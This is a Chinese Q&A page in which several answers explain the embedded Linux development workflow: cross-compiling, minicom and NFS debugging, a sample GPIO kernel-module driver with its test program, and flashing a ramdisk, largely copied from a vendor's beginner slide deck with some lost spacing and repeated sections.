求嵌入式linux开发详细流程(步骤)?

2025-03-04 07:04:34
推荐回答(5个)
回答1:

1.首先,建立交叉编译环境:交叉编译是指:在PC机上编译,在目标板上执行,我PC是linux+ arm-elf-gcc编译器.扳子是ARM3000.板子上的系统是uclinux,这时一个剪裁的很小的实时嵌入式linux操作系统.推荐使用这个.
2.然后就是你写程序喽,不过注意可能有些库函数不能用,因为哪个编译器稍微受限一点,不是所由的c库函数都支持,不过一般开发的都有.
3.连起你的主机和开发板,这个你会不?要连两个:串口(用来控制板子)和以太口(用来下载程序),我们板子上这些外设都有,你要使没有可以用其他的口代替传程序,但串口可是该有的阿!
4.在你主机上编译程序生成目标代码,建议用makefile文件来组织你的联编关系.
5.把生成代码下载到目标板执行调试.我是用的主机的NFS(网落文件)服务,下载到目标板的.
6.注:目标板是怎么控制的呢?是用串口控制的,可用minicom,设置好你要控制的串口,也应该是你连板子的那个.在命令行里敲上minicom,即进入minicom截面,开启你的板子,应该就是板子uclinux系统解压安装的画面了.然后用ifconfig eth0.....
配置ip,这个ip就是你板子的ip了,注意与主机一个网段.然后mount -t nfs 主机ip:/uclinux /板子上的一个目录,就把主机的 uclinux目录放到板子上了(这么说其实不合理,应该叫挂载). 然后找到你刚才一经编译好的哪个目标代码执行即可.

因不了解你的具体环境和配置,暂说这些,有问题可再联系:)

回答2:

1
嵌入式LINUX开发入门
V1.5
2
华恒对社区的贡献华恒对社区的贡献
本文适用于对嵌入式系统没有概念和经验,
渴望进入嵌入式系统开发的领域,
但又觉得系统太复杂,要学的东西太多,
感觉完全无从学起,无从下手

初级开发人员
3
简述简述
1,嵌入式系统必须以实践入门,所以要学习必须购买嵌入式开发系统
(开发板或实验箱),否则永远只能停留在纸上谈兵的阶段.
2,学习嵌入式LINUX开发,必须注意学习的方式和方法!就把这个嵌
入式开发板当作一台WINDOWS PC,就像用VC一样在上面做开发(只是
开发模式由原来完全的本地开发变成宿主机--目标板的模式了).
绝对不要去盲目阅读LINUX内核分析之类的书籍,对于初学者一两年内
根本用不到这个!就像在WINDOWS下开发永远不要关心WINDOWS内核一
个道理,不要因为LINUX内核是源代码开放的,就非要去研究LINUX内
核.90%的开发人员关心的还是"外设接口驱动+应用程序(如GUI)"
,所以对于初学者,进入嵌入式LINUX开发的殿堂,必须迈过如下两个
台阶:
嵌入式基本C程序开发及调试方法
基本驱动的概念和开发调试方法
4
嵌入式开发上手学习大纲嵌入式开发上手学习大纲
安装配置一台REDHAT 9的LINUX PC机.宿主机配置(TFTP/NFS)
参见:http://www.hhcn.com/chinese/embedlinux-res.html
通过终端软件minicom熟悉一下嵌入式系统的基本操作,否则你
根本就不会操作板子!
通过NFS mount的方式,学习用C语言开发最基本的嵌入式应用程
序,并熟悉嵌入式的调试方法.(HHARM9-EDU实验1)
熟悉掌握嵌入式LINUX下的编译方法和技巧,并进一步掌握调试
复杂嵌入式应用程序的方法和技巧.(HHARM9-EDU实验2,3)
通过NFS mount的方式,学习如何使用一个基本的嵌入式LINUX下
的设备驱动(insmod驱动+测试用应用程序),并尝试着改改看
如何发生变化和如何调试.(HHARM9-EDU实验6中断,
14GPIO/key,AD/DA,I2C等)
进一步深入学习其它的接口技术.(HHARM9-EDU其它剩余实验)
【注意】
做到这里您一次都不需要烧写FLASH!
5
Tips--再谈学习的方式方法Tips--再谈学习的方式方法
早早安装一台REDHAT 9 LINUX的PC,下面这些必须熟悉了解(因为它将是我
们日后开发最佳的测试伙伴):
telnet/ncftp/tar(xzf/czf)/vi/grep/find/NFS/tftp等常用操作;熟悉了解
LINUX系统的文件目录构成(/bin/sbin/etc/home/dev/usr等的意义,系统搜
索路径PATH因为嵌入式LINUX上和这个完全一样)(关于这些LINUX常用知识
请参见HHARM2410产品技术手册附录B,那里没有无用的抄袭,而是一线研发
人员实际的总结)
大致了解LINUX内核源代码的文件目录的构成(主要就是drivers目录,它是我
们最常打交道的驱动的目录).因为我们对于LINUX下驱动的开发最重要的工
作学习的方法就是:"搜索+模仿".大家都知道LINUX是开放源代码的,但
其实很多人并没有意识到这个对于我们实际的开发有什么意义.就像面前摆
了一座宝库,但却不知如何去寻宝.我们寻宝的手段就是搜索.对于驱动,
LINUX开放的代码(drivers目录+google网络)里面提供了无数常见接口芯片
的驱动代码或模板(如串口serial.c,framebuffer驱动等),我们首先要知道
这些文件在哪个目录下,找到后就是大致读一下,找出与自己实际硬件的差
异,以此为基础修修改改即可.而修改时一个重要的手段就是模仿现有的代
码!
6
Tips--再谈学习的方式方法Tips--再谈学习的方式方法
在嵌入式板卡上做任何稍微复杂些的工作,心里没底的话,就一定养成先在
REDHAT LINUX PC上测试的好习惯.无论你做GPRS/CDMA/PPP/ADSL拨号还是做
USB无线网卡驱动,还是做SAMBA/VPN/SNMP等协议软件,都先在REDHAT LINUX
上配置好,测试通过有了感觉之后再到嵌入式上试,因为ARMLINUX跟REDHAT
LINUX对于我们开发人员而言几乎没有任何区别!切忌冒进!
不要试图去通读CPU的manual,没有用的,就像不要为了做嵌入式LINUX就要
通读LINUX内核源代码分析一个道流.以目前实际的工作为主线,涉及到什么
再去大致了解一下相关内容,例如我们第二步要做MODULES形式的驱动,那么
这时去大致翻翻那本《LINUX驱动开发》一书的几页还是会有些帮助的,但也
没有必要全部通读!
7
嵌入式开发模式嵌入式开发模式
【宿主机】
网线
网线
交换机
串口线
HHARM开发板
假设IP为:192.168.2.120
【目标板】
运行RedhatLinux的PC机
假设IP为:192.168.2.2.122
交叉编译
8
第一部分
嵌入式基本C程序开发和调试
9
嵌入式基本C程序开发和调试嵌入式基本C程序开发和调试
10
关于Makefile关于Makefile
Makefile就是一个批处理的脚本!通过执行make来调用
EXEC = hello
OBJS = hello1.o #hello2.o hello3.o
LIBS += #-lcrypt -lm
all: $(EXEC)
$(EXEC) : $(OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $(EXEC) $(OBJS) $(LIBS)
clean:
rm-f $(OBJS) $(EXEC)
#Note
#表示注释,这是个通用的模板,我们的例子里面只用到一个hello1.c,而
且也不需要链接加密库(libcrypt.a)和数学库(libm.a).hello1.c的
内容就不需要写了吧,就一个printf语句
11
NFS mount调试方法进阶NFS mount调试方法进阶
前面./hello的方式用来调试最简单的主动执行的应用程序.还有很多的
应用程序要复杂一些,例如minigui/qt/microwin等GUI系统,它除了
可执行文件外,还涉及自己的动态库libxxx.so;还有另外一些如CGI类
的被动的被其它程序激发执行的程序对于这样的复杂程序调试,可如下
操作: (细节处有一些操作目录的变化)
在REDHAT LINUX PC上执行:
mkdir /2410lib;
gunzip ramdisk.image.gz
mount -o loop ramdisk.image /tmp
cp -f /tmp/lib/* /2410lib
在minicom等终端里执行:
mount -o nolock
192.168.2.122:/2410lib /lib
mount -o nolock 192.168.2.122:/ /mnt
/mnt/treeview&
#这样就可以NFS调试带动态库的复杂程序了
注意:
从上可见,板子可以多次mount多个目录,或者多个不同IP的PC的不同硬盘目录,甚至可以将
板子上所有的目录都用PC硬盘上的同类目录覆盖掉
同时可以看出这时的目标板就像一台UNIX主机一样可以为多个开发人员提供并行开发的环境.
12
第二部分
基本驱动的概念和开发调试方法
13
基本驱动的概念和开发调试方法基本驱动的概念和开发调试方法
ARMLINUX不同于uClinux,因为启动了MMU,所以应用程序不能直接
读写物理地址(包括CPU寄存器,
MEMORY,外设芯片内部寄存器等),而必须借助与驱动的形式,切入
内核用ioremap来实现对这些物理地址的访问.
下面以一个最常见的GPIO操作为例来说明:
就是选择S3C2410的GPIO_C6口作为一个输出口线,用户通过一个应用程序调用驱
动程序来控制这个口线输出1或者0,即高低电平.
例子由两部分构成:"驱动(gpio_driv.c)+应用程序(gpio_test.c)"
LINUX下的驱动有两种形式:
MODULES形式的可动态加载的驱动(这是LINUX内核一个非常重要
的特点),我们测试用建议都用这种形式的,因为它调试就和普通应用
程序一样,可以通过NFS mount的方式来调试,非常方便.
静态编译到内核里面的驱动
14
基本驱动的概念和开发调试方法基本驱动的概念和开发调试方法
样例modules形式驱动的测试用法如下:
NFS mount宿主机后,
insmod gpio_driv.o #在板上嵌入式LINUX内核已经跑起来之后动态加载驱动module
mknod/dev/gpiotest c 220 0
./gpio_test#执行测试用的应用程序来调用驱动,来驱动IO输出高低电平
0:set ,1:clear,2: quit :
用户输入0,则C6口输出3.3V高电平;用户输入1,则C6口输出0低电平.
应用程序如何调用驱动以及驱动要注意的一些细节在下面的详细代码中通过注释
的形式一一说明.
15
驱动MODULE源代码驱动MODULE源代码
#include //FILE: gpio_driv.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define IOPORT_MAJOR 220 //定义主设备号,和前面的mknod/dev/gpiotestc 220 0匹配
typedefchar ioport_device_t; long port_addr;
static ioport_device_t gpio_devices[257];
int gpio_open(struct inode*, structfile *);
int gpio_release(struct inode*, structfile *);
int gpio_ctl_ioctl(struct inode *, struct file *, unsigned int, unsigned long);
16
驱动MODULE源代码驱动MODULE源代码
static structfile_operations gpio_ctl_fops= {
ioctl: gpio_ctl_ioctl,
open: gpio_open,
release: gpio_release,
};
//所有的操作系统将硬件设备当作文件处理,所有外设的操作就封装在这个file_operations 结构体里面
//就是文件的open/read/write/close等操作,剩余的都放到一个ioctl函数里面做处理.
int__init gpio_init(void)
{
inti;
//可以看到下面这句向操作系统注册的函数里面和前面我们在minicom里面手工创建的设备文件是
//要完全匹配的:mknod/dev/gpiotestc 220 0,这表明创建的是一个字符设备(chrdev),
//主设备号220,次设备号0,因为操作系统不理会"gpiotest"这个设备名字符串的,它只认数字的主次
//设备号,而应用程序到时是open("/dev/gpiotest",xx)的,中间就是通过这两个数字联系起来的.
register_chrdev(IOPORT_MAJOR, "gpiotest", &gpio_ctl_fops);
return 0;
}
module_init(gpio_init); //用户加载该驱动时执行insmod gpio_driv.o就会自动调用gpio_init函数,它是驱动
//的入口点,相当于应用程序的main函数.
module_exit(gpio_release); //用户卸载该驱动rmmod gpio_driv时执行
17
驱动MODULE源代码驱动MODULE源代码
int gpio_open(struct inode*inode, structfile *filp)
{
intminor;
minor = MINOR(inode->i_rdev);
#if 0 //这里是通常的做法,因为S3C2410的LINUX内核提供了set_gpio_ctrl专用函数,所以不要下面
这样做了
(void *)(port_addr) = ioremap(0x56000020,0x8);
*(volatile unsigned int*)(port_addr)|=0x00008000;
#endif
//驱动里面在open这个设备的时候设置这个口为输出(因为GPIO必须设置方向,做输入还是输出)
set_gpio_ctrl(GPIO_MODE_OUT | GPIO_C6);
gpio_devices[minor]++;
return 0;
}
18
驱动MODULE源代码驱动MODULE源代码
int gpio_release(struct inode*inode, structfile *filp)
{ intminor;
minor = MINOR(inode->i_rdev);
if (gpio_devices[minor])
gpio_devices[minor]--;
return 0;
}
int gpio_ctl_ioctl(struct inode*inode,structfile *flip,unsigned intcommand,unsigned long arg)
{
interr = 0;
intminor = MINOR(inode->i_rdev);
switch (command) {
case IOWRITE:
write_gpio_bit(GPIO_MODE_OUT | GPIO_C6,1); //输出3.3V电平
return 0;
case IOCLEAR:
write_gpio_bit(GPIO_MODE_OUT | GPIO_C6,0); //输出0电平
return 0;
}
return err;
}
19
基本驱动MODULE的Makefile基本驱动MODULE的Makefile
注意!驱动程序的Makefile和应用程序的参数不同!
CC = /opt/host/armv4l/bin/armv4l-unknown-linux-gcc
LD = /opt/host/armv4l/bin/armv4l-unknown-linux-ld
CFLAGS = -D__KERNEL__ -I/HHARM2410-R3/kernel/include/linux
-I/HHARM2410-R3/kernel/include -Wall -Wstrict-prototypes -Wno-trigraphs-
Os -mapcs-fno-strict-aliasing-fno-common -fno-common -pipe -mapcs-32
-march=armv4 -mtune=arm9tdmi -mshort-load-bytes -msoft-float
-DKBUILD_BASENAME= gpio_driv
-I/opt/host/armv4l/src/linux/include -DMODULE
gpio_driv.o: gpio_driv.c
$(CC) $(CFLAGS) -c $^ -o $@
cp gpio_driv.o / -f
clean:
-rm-f *.o
20
测试驱动的应用程序测试驱动的应用程序
#include //FILE: gpio_test.c
#include
#include …//省略一些头文件
#include
#define DEVICE_GPIOTEST "/dev/gpiotest"
intmain()
{
int fd; int val=-1;
if((fd=open(DEVICE_ GPIOTEST,O_RDONLY | O_NONBLOCK))<0)//应用程序就是这样调用驱动的
{ perror("can not open device"); exit(1); }
while(1){
printf("0:set ,1:clear,2: quit :");
scanf("%d",&val);
if(val==0)
ioctl(fd,IOWRITE,0);//应用程序就是这样调用驱动的
else if(val==1)
ioctl(fd,IOCLEAR,0);//应用程序就是这样调用驱动的
else if(val==2){
close(fd); …
}
}
21
最后可试试烧写FLASH了最后可试试烧写FLASH了
完成自己的小驱动和测试用应用程序后,您可以将自己的初步成就烧写到板子里去了,具体的烧
写可参见我们产品手册或者HHARM FAQ
如何加入到板子的文件系统里
文件系统就是用来存放用户应用程序的集合.
HHARM9系列嵌入式LINUX开发系统的根文件系统采用的是ramdisk.
下面举例说明用户如何把自己的hello程序烧写到板子上去:
先把ramdisk.image.gz解压后mount -o loop 到一个目录上,这样就可以看到ramdisk里面的文
件及目录内容,这时再把你编译号的hello这个可执行文件复制到这个目录的bin目录下面,再
umount这个目录,再gzip压缩,这样你所作的改动就被带到这个新生成的ramdisk.image.gz文件
里面了,然后你烧写这个文件就可以在板子上看到你的hello了.
简单命令序列:注意要自己调整目录路径,所有操作均在REDHAT LINUX PC机上完成:
gunzip ramdisk.image.gz
mkdir tmnt
mount -o loop ramdisk.image tmnt
cp -f busybox tmnt/bin
umount tmnt
gzip ramdisk.image
cp -f ramdisk.image.gz /tftpboot ;再后面的烧写步骤这里就不再赘述,参见HHARM FAQ或者我们手册即可
22
参考资料参考资料
HHARM9-EDU实验指导书
参见:华恒ARM9+LINUX+WINCE双系统嵌入式教学实验箱
http://www.hhcn.com/chinese/HHARM9-EDU-R1.html
HHARM FAQ
http://www.hhcn.com/chinese/hharmfaq.html
华恒HHARM2410系列产品手册
可EMAIL至华恒ARM产品系列技术支持信箱:
hharm-support@hhcn.com索取
华恒嵌入式LINUX技术论坛
http://bbs.hhcn.com/
嵌入式LINUX开发资源
http://www.hhcn.com/chinese/embedlinux-res.html

回答3:

Tips--再谈学习的方式方法Tips--再谈学习的方式方法
在嵌入式板卡上做任何稍微复杂些的工作,心里没底的话,就一定养成先在
REDHAT LINUX PC上测试的好习惯.无论你做GPRS/CDMA/PPP/ADSL拨号还是做
USB无线网卡驱动,还是做SAMBA/VPN/SNMP等协议软件,都先在REDHAT LINUX
上配置好,测试通过有了感觉之后再到嵌入式上试,因为ARMLINUX跟REDHAT
LINUX对于我们开发人员而言几乎没有任何区别!切忌冒进!
不要试图去通读CPU的manual,没有用的,就像不要为了做嵌入式LINUX就要
通读LINUX内核源代码分析一个道流.以目前实际的工作为主线,涉及到什么
再去大致了解一下相关内容,例如我们第二步要做MODULES形式的驱动,那么
这时去大致翻翻那本《LINUX驱动开发》一书的几页还是会有些帮助的,但也
没有必要全部通读!好好看把

回答4:

1
嵌入式LINUX开发入门
V1.5
2
华恒对社区的贡献华恒对社区的贡献
本文适用于对嵌入式系统没有概念和经验,
渴望进入嵌入式系统开发的领域,
但又觉得系统太复杂,要学的东西太多,
感觉完全无从学起,无从下手

初级开发人员
3
简述简述
1,嵌入式系统必须以实践入门,所以要学习必须购买嵌入式开发系统
(开发板或实验箱),否则永远只能停留在纸上谈兵的阶段.
2,学习嵌入式LINUX开发,必须注意学习的方式和方法!就把这个嵌
入式开发板当作一台WINDOWS PC,就像用VC一样在上面做开发(只是
开发模式由原来完全的本地开发变成宿主机--目标板的模式了).
绝对不要去盲目阅读LINUX内核分析之类的书籍,对于初学者一两年内
根本用不到这个!就像在WINDOWS下开发永远不要关心WINDOWS内核一
个道理,不要因为LINUX内核是源代码开放的,就非要去研究LINUX内
核.90%的开发人员关心的还是"外设接口驱动+应用程序(如GUI)"
,所以对于初学者,进入嵌入式LINUX开发的殿堂,必须迈过如下两个
台阶:
嵌入式基本C程序开发及调试方法
基本驱动的概念和开发调试方法
4
嵌入式开发上手学习大纲嵌入式开发上手学习大纲
安装配置一台REDHAT 9的LINUX PC机.宿主机配置(TFTP/NFS)
参见:http://www.hhcn.com/chinese/embedlinux-res.html
通过终端软件minicom熟悉一下嵌入式系统的基本操作,否则你
根本就不会操作板子!
通过NFS mount的方式,学习用C语言开发最基本的嵌入式应用程
序,并熟悉嵌入式的调试方法.(HHARM9-EDU实验1)
熟悉掌握嵌入式LINUX下的编译方法和技巧,并进一步掌握调试
复杂嵌入式应用程序的方法和技巧.(HHARM9-EDU实验2,3)
通过NFS mount的方式,学习如何使用一个基本的嵌入式LINUX下
的设备驱动(insmod驱动+测试用应用程序),并尝试着改改看
如何发生变化和如何调试.(HHARM9-EDU实验6中断,
14GPIO/key,AD/DA,I2C等)
进一步深入学习其它的接口技术.(HHARM9-EDU其它剩余实验)
【注意】
做到这里您一次都不需要烧写FLASH!
5
Tips--再谈学习的方式方法Tips--再谈学习的方式方法
早早安装一台REDHAT 9 LINUX的PC,下面这些必须熟悉了解(因为它将是我
们日后开发最佳的测试伙伴):
telnet/ncftp/tar(xzf/czf)/vi/grep/find/NFS/tftp等常用操作;熟悉了解
LINUX系统的文件目录构成(/bin/sbin/etc/home/dev/usr等的意义,系统搜
索路径PATH因为嵌入式LINUX上和这个完全一样)(关于这些LINUX常用知识
请参见HHARM2410产品技术手册附录B,那里没有无用的抄袭,而是一线研发
人员实际的总结)
大致了解LINUX内核源代码的文件目录的构成(主要就是drivers目录,它是我
们最常打交道的驱动的目录).因为我们对于LINUX下驱动的开发最重要的工
作学习的方法就是:"搜索+模仿".大家都知道LINUX是开放源代码的,但
其实很多人并没有意识到这个对于我们实际的开发有什么意义.就像面前摆
了一座宝库,但却不知如何去寻宝.我们寻宝的手段就是搜索.对于驱动,
LINUX开放的代码(drivers目录+google网络)里面提供了无数常见接口芯片
的驱动代码或模板(如串口serial.c,framebuffer驱动等),我们首先要知道
这些文件在哪个目录下,找到后就是大致读一下,找出与自己实际硬件的差
异,以此为基础修修改改即可.而修改时一个重要的手段就是模仿现有的代
码!
6
Tips--再谈学习的方式方法Tips--再谈学习的方式方法
在嵌入式板卡上做任何稍微复杂些的工作,心里没底的话,就一定养成先在
REDHAT LINUX PC上测试的好习惯.无论你做GPRS/CDMA/PPP/ADSL拨号还是做
USB无线网卡驱动,还是做SAMBA/VPN/SNMP等协议软件,都先在REDHAT LINUX
上配置好,测试通过有了感觉之后再到嵌入式上试,因为ARMLINUX跟REDHAT
LINUX对于我们开发人员而言几乎没有任何区别!切忌冒进!
不要试图去通读CPU的manual,没有用的,就像不要为了做嵌入式LINUX就要
通读LINUX内核源代码分析一个道流.以目前实际的工作为主线,涉及到什么
再去大致了解一下相关内容,例如我们第二步要做MODULES形式的驱动,那么
这时去大致翻翻那本《LINUX驱动开发》一书的几页还是会有些帮助的,但也
没有必要全部通读!
7
嵌入式开发模式嵌入式开发模式
【宿主机】
网线
网线
交换机
串口线
HHARM开发板
假设IP为:192.168.2.120
【目标板】
运行RedhatLinux的PC机
假设IP为:192.168.2.2.122
交叉编译
8
第一部分
嵌入式基本C程序开发和调试
9
嵌入式基本C程序开发和调试嵌入式基本C程序开发和调试
10
关于Makefile关于Makefile
Makefile就是一个批处理的脚本!通过执行make来调用
EXEC = hello
OBJS = hello1.o #hello2.o hello3.o
LIBS += #-lcrypt -lm
all: $(EXEC)
$(EXEC) : $(OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $(EXEC) $(OBJS) $(LIBS)
clean:
rm-f $(OBJS) $(EXEC)
#Note
#表示注释,这是个通用的模板,我们的例子里面只用到一个hello1.c,而
且也不需要链接加密库(libcrypt.a)和数学库(libm.a).hello1.c的
内容就不需要写了吧,就一个printf语句
11
NFS mount调试方法进阶NFS mount调试方法进阶
前面./hello的方式用来调试最简单的主动执行的应用程序.还有很多的
应用程序要复杂一些,例如minigui/qt/microwin等GUI系统,它除了
可执行文件外,还涉及自己的动态库libxxx.so;还有另外一些如CGI类
的被动的被其它程序激发执行的程序对于这样的复杂程序调试,可如下
操作: (细节处有一些操作目录的变化)
在REDHAT LINUX PC上执行:
mkdir /2410lib;
gunzip ramdisk.image.gz
mount -o loop ramdisk.image /tmp
cp -f /tmp/lib/* /2410lib
在minicom等终端里执行:
mount -o nolock
192.168.2.122:/2410lib /lib
mount -o nolock 192.168.2.122:/ /mnt
/mnt/treeview&
#这样就可以NFS调试带动态库的复杂程序了
注意:
从上可见,板子可以多次mount多个目录,或者多个不同IP的PC的不同硬盘目录,甚至可以将
板子上所有的目录都用PC硬盘上的同类目录覆盖掉
同时可以看出这时的目标板就像一台UNIX主机一样可以为多个开发人员提供并行开发的环境.
12
第二部分
基本驱动的概念和开发调试方法
13
基本驱动的概念和开发调试方法基本驱动的概念和开发调试方法
ARMLINUX不同于uClinux,因为启动了MMU,所以应用程序不能直接
读写物理地址(包括CPU寄存器,
MEMORY,外设芯片内部寄存器等),而必须借助与驱动的形式,切入
内核用ioremap来实现对这些物理地址的访问.
下面以一个最常见的GPIO操作为例来说明:
就是选择S3C2410的GPIO_C6口作为一个输出口线,用户通过一个应用程序调用驱
动程序来控制这个口线输出1或者0,即高低电平.
例子由两部分构成:"驱动(gpio_driv.c)+应用程序(gpio_test.c)"
LINUX下的驱动有两种形式:
MODULES形式的可动态加载的驱动(这是LINUX内核一个非常重要
的特点),我们测试用建议都用这种形式的,因为它调试就和普通应用
程序一样,可以通过NFS mount的方式来调试,非常方便.
静态编译到内核里面的驱动
14
基本驱动的概念和开发调试方法基本驱动的概念和开发调试方法
样例modules形式驱动的测试用法如下:
NFS mount宿主机后,
insmod gpio_driv.o #在板上嵌入式LINUX内核已经跑起来之后动态加载驱动module
mknod/dev/gpiotest c 220 0
./gpio_test#执行测试用的应用程序来调用驱动,来驱动IO输出高低电平
0:set ,1:clear,2: quit :
用户输入0,则C6口输出3.3V高电平;用户输入1,则C6口输出0低电平.
应用程序如何调用驱动以及驱动要注意的一些细节在下面的详细代码中通过注释
的形式一一说明.
15
驱动MODULE源代码驱动MODULE源代码
#include //FILE: gpio_driv.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define IOPORT_MAJOR 220 //定义主设备号,和前面的mknod/dev/gpiotestc 220 0匹配
typedefchar ioport_device_t; long port_addr;
static ioport_device_t gpio_devices[257];
int gpio_open(struct inode*, structfile *);
int gpio_release(struct inode*, structfile *);
int gpio_ctl_ioctl(struct inode *, struct file *, unsigned int, unsigned long);
16
驱动MODULE源代码驱动MODULE源代码
static structfile_operations gpio_ctl_fops= {
ioctl: gpio_ctl_ioctl,
open: gpio_open,
release: gpio_release,
};
//所有的操作系统将硬件设备当作文件处理,所有外设的操作就封装在这个file_operations 结构体里面
//就是文件的open/read/write/close等操作,剩余的都放到一个ioctl函数里面做处理.
int__init gpio_init(void)
{
inti;
//可以看到下面这句向操作系统注册的函数里面和前面我们在minicom里面手工创建的设备文件是
//要完全匹配的:mknod/dev/gpiotestc 220 0,这表明创建的是一个字符设备(chrdev),
//主设备号220,次设备号0,因为操作系统不理会"gpiotest"这个设备名字符串的,它只认数字的主次
//设备号,而应用程序到时是open("/dev/gpiotest",xx)的,中间就是通过这两个数字联系起来的.
register_chrdev(IOPORT_MAJOR, "gpiotest", &gpio_ctl_fops);
return 0;
}
module_init(gpio_init); //用户加载该驱动时执行insmod gpio_driv.o就会自动调用gpio_init函数,它是驱动
//的入口点,相当于应用程序的main函数.
module_exit(gpio_release); //用户卸载该驱动rmmod gpio_driv时执行
17
驱动MODULE源代码驱动MODULE源代码
int gpio_open(struct inode*inode, structfile *filp)
{
intminor;
minor = MINOR(inode->i_rdev);
#if 0 //这里是通常的做法,因为S3C2410的LINUX内核提供了set_gpio_ctrl专用函数,所以不要下面
这样做了
(void *)(port_addr) = ioremap(0x56000020,0x8);
*(volatile unsigned int*)(port_addr)|=0x00008000;
#endif
//驱动里面在open这个设备的时候设置这个口为输出(因为GPIO必须设置方向,做输入还是输出)
set_gpio_ctrl(GPIO_MODE_OUT | GPIO_C6);
gpio_devices[minor]++;
return 0;
}
18
驱动MODULE源代码驱动MODULE源代码
int gpio_release(struct inode*inode, structfile *filp)
{ intminor;
minor = MINOR(inode->i_rdev);
if (gpio_devices[minor])
gpio_devices[minor]--;
return 0;
}
int gpio_ctl_ioctl(struct inode*inode,structfile *flip,unsigned intcommand,unsigned long arg)
{
interr = 0;
intminor = MINOR(inode->i_rdev);
switch (command) {
case IOWRITE:
write_gpio_bit(GPIO_MODE_OUT | GPIO_C6,1); //输出3.3V电平
return 0;
case IOCLEAR:
write_gpio_bit(GPIO_MODE_OUT | GPIO_C6,0); //输出0电平
return 0;
}
return err;
}
19
基本驱动MODULE的Makefile基本驱动MODULE的Makefile
注意!驱动程序的Makefile和应用程序的参数不同!
CC = /opt/host/armv4l/bin/armv4l-unknown-linux-gcc
LD = /opt/host/armv4l/bin/armv4l-unknown-linux-ld
CFLAGS = -D__KERNEL__ -I/HHARM2410-R3/kernel/include/linux
-I/HHARM2410-R3/kernel/include -Wall -Wstrict-prototypes -Wno-trigraphs-
Os -mapcs-fno-strict-aliasing-fno-common -fno-common -pipe -mapcs-32
-march=armv4 -mtune=arm9tdmi -mshort-load-bytes -msoft-float
-DKBUILD_BASENAME= gpio_driv
-I/opt/host/armv4l/src/linux/include -DMODULE
gpio_driv.o: gpio_driv.c
$(CC) $(CFLAGS) -c $^ -o $@
cp gpio_driv.o / -f
clean:
-rm-f *.o
20
测试驱动的应用程序测试驱动的应用程序
#include //FILE: gpio_test.c
#include
#include …//省略一些头文件
#include
#define DEVICE_GPIOTEST "/dev/gpiotest"
intmain()
{
int fd; int val=-1;
if((fd=open(DEVICE_ GPIOTEST,O_RDONLY | O_NONBLOCK))<0)//应用程序就是这样调用驱动的
{ perror("can not open device"); exit(1); }
while(1){
printf("0:set ,1:clear,2: quit :");
scanf("%d",&val);
if(val==0)
ioctl(fd,IOWRITE,0);//应用程序就是这样调用驱动的
else if(val==1)
ioctl(fd,IOCLEAR,0);//应用程序就是这样调用驱动的
else if(val==2){
close(fd); …
}
}
21
最后可试试烧写FLASH了最后可试试烧写FLASH了
完成自己的小驱动和测试用应用程序后,您可以将自己的初步成就烧写到板子里去了,具体的烧
写可参见我们产品手册或者HHARM FAQ
如何加入到板子的文件系统里
文件系统就是用来存放用户应用程序的集合.
HHARM9系列嵌入式LINUX开发系统的根文件系统采用的是ramdisk.
下面举例说明用户如何把自己的hello程序烧写到板子上去:
先把ramdisk.image.gz解压后mount -o loop 到一个目录上,这样就可以看到ramdisk里面的文
件及目录内容,这时再把你编译号的hello这个可执行文件复制到这个目录的bin目录下面,再
umount这个目录,再gzip压缩,这样你所作的改动就被带到这个新生成的ramdisk.image.gz文件
里面了,然后你烧写这个文件就可以在板子上看到你的hello了.
简单命令序列:注意要自己调整目录路径,所有操作均在REDHAT LINUX PC机上完成:
gunzip ramdisk.image.gz
mkdir tmnt
mount -o loop ramdisk.image tmnt
cp -f busybox tmnt/bin
umount tmnt
gzip ramdisk.image
cp -f ramdisk.image.gz /tftpboot ;再后面的烧写步骤这里就不再赘述,参见HHARM FAQ或者我们手册即可
22
参考资料参考资料
HHARM9-EDU实验指导书
参见:华恒ARM9+LINUX+WINCE双系统嵌入式教学实验箱
http://www.hhcn.com/chinese/HHARM9-EDU-R1.html
HHARM FAQ
http://www.hhcn.com/chinese/hharmfaq.html
华恒HHARM2410系列产品手册
可EMAIL至华恒ARM产品系列技术支持信箱:
hharm-support@hhcn.com索取
华恒嵌入式LINUX技术论坛
http://bbs.hhcn.com/
嵌入式LINUX开发资源
http://www.hhcn.com/chinese/embedlinux-res.html
回答者:bingxiang81 - 经理 四级 4-15 10:46

Tips--再谈学习的方式方法Tips--再谈学习的方式方法
在嵌入式板卡上做任何稍微复杂些的工作,心里没底的话,就一定养成先在
REDHAT LINUX PC上测试的好习惯.无论你做GPRS/CDMA/PPP/ADSL拨号还是做
USB无线网卡驱动,还是做SAMBA/VPN/SNMP等协议软件,都先在REDHAT LINUX
上配置好,测试通过有了感觉之后再到嵌入式上试,因为ARMLINUX跟REDHAT
LINUX对于我们开发人员而言几乎没有任何区别!切忌冒进!
不要试图去通读CPU的manual,没有用的,就像不要为了做嵌入式LINUX就要
通读LINUX内核源代码分析一个道流.以目前实际的工作为主线,涉及到什么
再去大致了解一下相关内容,例如我们第二步要做MODULES形式的驱动,那么
这时去大致翻翻那本《LINUX驱动开发》一书的几页还是会有些帮助的,但也
没有必要全部通读!好好看把

回答5:

  1. 建立以Linux系统为基础的开发环境;

  2. 配置开发主机(MINICOM调试嵌入式开发板、NFS网络文件系统,防火墙);

  3. 建立引导装载程序BOOTLOADER(公开源代码的BOOTLOADER,如U-BOOT、BLOB、VIVI、LILO、ARM-BOOT、RED-BOOT等);

  4. 下载别人已经移植好的Linux操作系统(如μCLinux、ARM-Linux、PPC-Linux等);

  5. 建立根文件系统(包括:/etc/init.d/rc.S、/etc/profile、/etc/.profile等);

  6. 建立应用程序的Flash磁盘分区,一般使用JFFS2或YAFFS文件系统;

  7. 开发应用程序,应用程序可以放入根文件系统中,也可以放入YAFFS、JFFS2文件系统中;

  8. 烧写内核、根文件系统、应用程序、发布产品。

